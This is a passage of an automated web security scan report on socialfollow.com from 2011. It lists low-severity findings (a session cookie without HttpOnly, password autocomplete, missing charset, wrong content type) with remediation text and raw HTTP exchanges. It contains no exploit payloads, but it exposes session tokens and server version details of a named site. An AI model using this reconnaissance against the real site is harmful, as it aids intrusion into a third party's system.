Set-Cookie: PHPSESSID=bb4c64b7c88edc00bba659112cc21247; expires=Mon, 18 Apr 2011 16:48:28 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 7330
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<a href="/forgot-password.php" title="Forgot Password" id="aForgotPassword">
...[SNIP]...
<input name="pPassword" id="pPassword" type="password" value="Password" onfocus="if('Password'==this.value)this.value=''" onblur="if(''==this.value)this.value='Password'" />
...[SNIP]...
<label for="tPassword">Password:</label>
...[SNIP]...
<input name="tPassword" id="tPassword" type="password" value="" class="textBoxSize" maxlength="32" />
...[SNIP]...
<label for="tRePassword">Password (retype):</label>
...[SNIP]...
<input name="tRePassword" type="password" id="tRePassword" class="textBoxSize" maxlength="32" />
...[SNIP]...
field is required");fv.addValidation("tEmail","req", "The \"Email\" field is required");fv.addValidation("tEmail","email", "The \"Email\" field must contain a valid email address");fv.addValidation("tPassword","req", "The \"Password\" field is required");fv.addValidation("tPassword","minlen=4", "The \"Password\" field must have at least 4 characters");fv.addValidation("tPassword|tRePassword","match", "The Password fields must match");fv.addValidation("cbTerms","req", "You must agree to the terms of service and privacy policy");</script>
...[SNIP]...

5. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.socialfollow.com
Path:   /

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET / HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:36:58 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Set-Cookie: PHPSESSID=8a0660a226177c6e891485ce1d17b5bb; expires=Mon, 18 Apr 2011 16:36:58 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 7330
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...

6. Password field with autocomplete enabled  previous  next
There are 4 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


6.1. http://www.socialfollow.com/  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.socialfollow.com
Path:   /

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET / HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:36:58 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Set-Cookie: PHPSESSID=8a0660a226177c6e891485ce1d17b5bb; expires=Mon, 18 Apr 2011 16:36:58 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 7330
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<br />
               <form method="post" name="fTopLogin" action="/login.php">
                   <input name="tEmail" id="tEmail" type="text" value="Email" onfocus="if('Email'==this.value)this.value=''" onblur="if(''==this.value)this.value='Email'" />
                   <input name="pPassword" id="pPassword" type="password" value="Password" onfocus="if('Password'==this.value)this.value=''" onblur="if(''==this.value)this.value='Password'" />
                   <input type="submit" value="Login" class="button" />
...[SNIP]...

6.2. http://www.socialfollow.com/  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.socialfollow.com
Path:   /

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Request

GET / HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:36:58 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Set-Cookie: PHPSESSID=8a0660a226177c6e891485ce1d17b5bb; expires=Mon, 18 Apr 2011 16:36:58 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 7330
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</h1>
       <form method="post" name="fRegister" action="/register.php">
       <table>
...[SNIP]...
<td><input name="tPassword" id="tPassword" type="password" value="" class="textBoxSize" maxlength="32" /></td>
...[SNIP]...
<td><input name="tRePassword" type="password" id="tRePassword" class="textBoxSize" maxlength="32" /></td>
...[SNIP]...

6.3. http://www.socialfollow.com/login.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.socialfollow.com
Path:   /login.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

POST /login.php HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
Cache-Control: max-age=0
Origin: http://www.socialfollow.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e8cc38ceb90f5b9aed64b628c2c57c25; __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1303137471.1; __utmc=131048717; __utmb=131048717.1.10.1303137471
Content-Length: 31

tEmail=Email&pPassword=Password

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:37:05 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4494
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<br />
               <form method="post" name="fTopLogin" action="/login.php">
                   <input name="tEmail" id="tEmail" type="text" value="Email" onfocus="if('Email'==this.value)this.value=''" onblur="if(''==this.value)this.value='Email'" />
                   <input name="pPassword" id="pPassword" type="password" value="Password" onfocus="if('Password'==this.value)this.value=''" onblur="if(''==this.value)this.value='Password'" />
                   <input type="submit" value="Login" class="button" />
...[SNIP]...

6.4. http://www.socialfollow.com/login.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.socialfollow.com
Path:   /login.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

POST /login.php HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
Cache-Control: max-age=0
Origin: http://www.socialfollow.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e8cc38ceb90f5b9aed64b628c2c57c25; __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1303137471.1; __utmc=131048717; __utmb=131048717.1.10.1303137471
Content-Length: 31

tEmail=Email&pPassword=Password

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:37:05 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4494
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</p>
   <form method="post" name="fLogin" action="">
   <table>
...[SNIP]...
<td><input name="pPassword" id="pPassword" type="password" class="textBoxSize" /></td>
...[SNIP]...

7. HTML does not specify charset  previous  next
There are 4 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.


7.1. http://www.socialfollow.com/js/flash-detect.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.socialfollow.com
Path:   /js/flash-detect.js

Request

GET /js/flash-detect.js HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e8cc38ceb90f5b9aed64b628c2c57c25

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:36:58 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Length: 6402
Content-Type: text/html


if(typeof deconcept=="undefined")var deconcept=new Object();if(typeof deconcept.util=="undefined")deconcept.util=new Object();if(typeof deconcept.SWFObjectUtil=="undefined")deconcept.SWFObjectUtil=ne
...[SNIP]...

7.2. http://www.socialfollow.com/js/jquery.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.socialfollow.com
Path:   /js/jquery.js

Request

GET /js/jquery.js HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e8cc38ceb90f5b9aed64b628c2c57c25

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:36:58 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Type: text/html
Content-Length: 56805


(function(){var l=this,g,y=l.jQuery,p=l.$,o=l.jQuery=l.$=function(E,F){return new o.fn.init(E,F)},D=/^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,f=/^.[^:#\[\.,]*$/;o.fn=o.prototype={init:function(E,H){E=E||
...[SNIP]...

7.3. http://www.socialfollow.com/js/thickbox.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.socialfollow.com
Path:   /js/thickbox.js

Request

GET /js/thickbox.js HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e8cc38ceb90f5b9aed64b628c2c57c25

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:36:59 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Type: text/html
Content-Length: 8343


var tb_pathToImage="images/loadingAnimation.gif";$(document).ready(function(){tb_init('a.thickbox, area.thickbox, input.thickbox');imgLoader=new Image();imgLoader.src=tb_pathToImage;});function tb_in
...[SNIP]...

7.4. http://www.socialfollow.com/js/validator.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.socialfollow.com
Path:   /js/validator.js

Request

GET /js/validator.js HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e8cc38ceb90f5b9aed64b628c2c57c25

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:36:58 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Type: text/html
Content-Length: 9358


function in_array(needle,haystack,argStrict){var found=false,key,strict=!!argStrict;for(key in haystack){if((strict&&haystack[key]===needle)||(!strict&&haystack[key]==needle)){found=true;break;}}
ret
...[SNIP]...

8. Content type incorrectly stated  previous
There are 4 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


8.1. http://www.socialfollow.com/js/flash-detect.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.socialfollow.com
Path:   /js/flash-detect.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /js/flash-detect.js HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e8cc38ceb90f5b9aed64b628c2c57c25

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:36:58 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Length: 6402
Content-Type: text/html


if(typeof deconcept=="undefined")var deconcept=new Object();if(typeof deconcept.util=="undefined")deconcept.util=new Object();if(typeof deconcept.SWFObjectUtil=="undefined")deconcept.SWFObjectUtil=ne
...[SNIP]...

8.2. http://www.socialfollow.com/js/jquery.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.socialfollow.com
Path:   /js/jquery.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /js/jquery.js HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e8cc38ceb90f5b9aed64b628c2c57c25

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:36:58 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Type: text/html
Content-Length: 56805


(function(){var l=this,g,y=l.jQuery,p=l.$,o=l.jQuery=l.$=function(E,F){return new o.fn.init(E,F)},D=/^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,f=/^.[^:#\[\.,]*$/;o.fn=o.prototype={init:function(E,H){E=E||
...[SNIP]...

8.3. http://www.socialfollow.com/js/thickbox.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.socialfollow.com
Path:   /js/thickbox.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /js/thickbox.js HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e8cc38ceb90f5b9aed64b628c2c57c25

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:36:59 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Type: text/html
Content-Length: 8343


var tb_pathToImage="images/loadingAnimation.gif";$(document).ready(function(){tb_init('a.thickbox, area.thickbox, input.thickbox');imgLoader=new Image();imgLoader.src=tb_pathToImage;});function tb_in
...[SNIP]...

8.4. http://www.socialfollow.com/js/validator.js  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.socialfollow.com
Path:   /js/validator.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /js/validator.js HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e8cc38ceb90f5b9aed64b628c2c57c25

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:36:58 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Type: text/html
Content-Length: 9358


function in_array(needle,haystack,argStrict){var found=false,key,strict=!!argStrict;for(key in haystack){if((strict&&haystack[key]===needle)||(!strict&&haystack[key]==needle)){found=true;break;}}
ret
...[SNIP]...

Report generated by XSS.CX at Mon Apr 18 10:28:52 CDT 2011.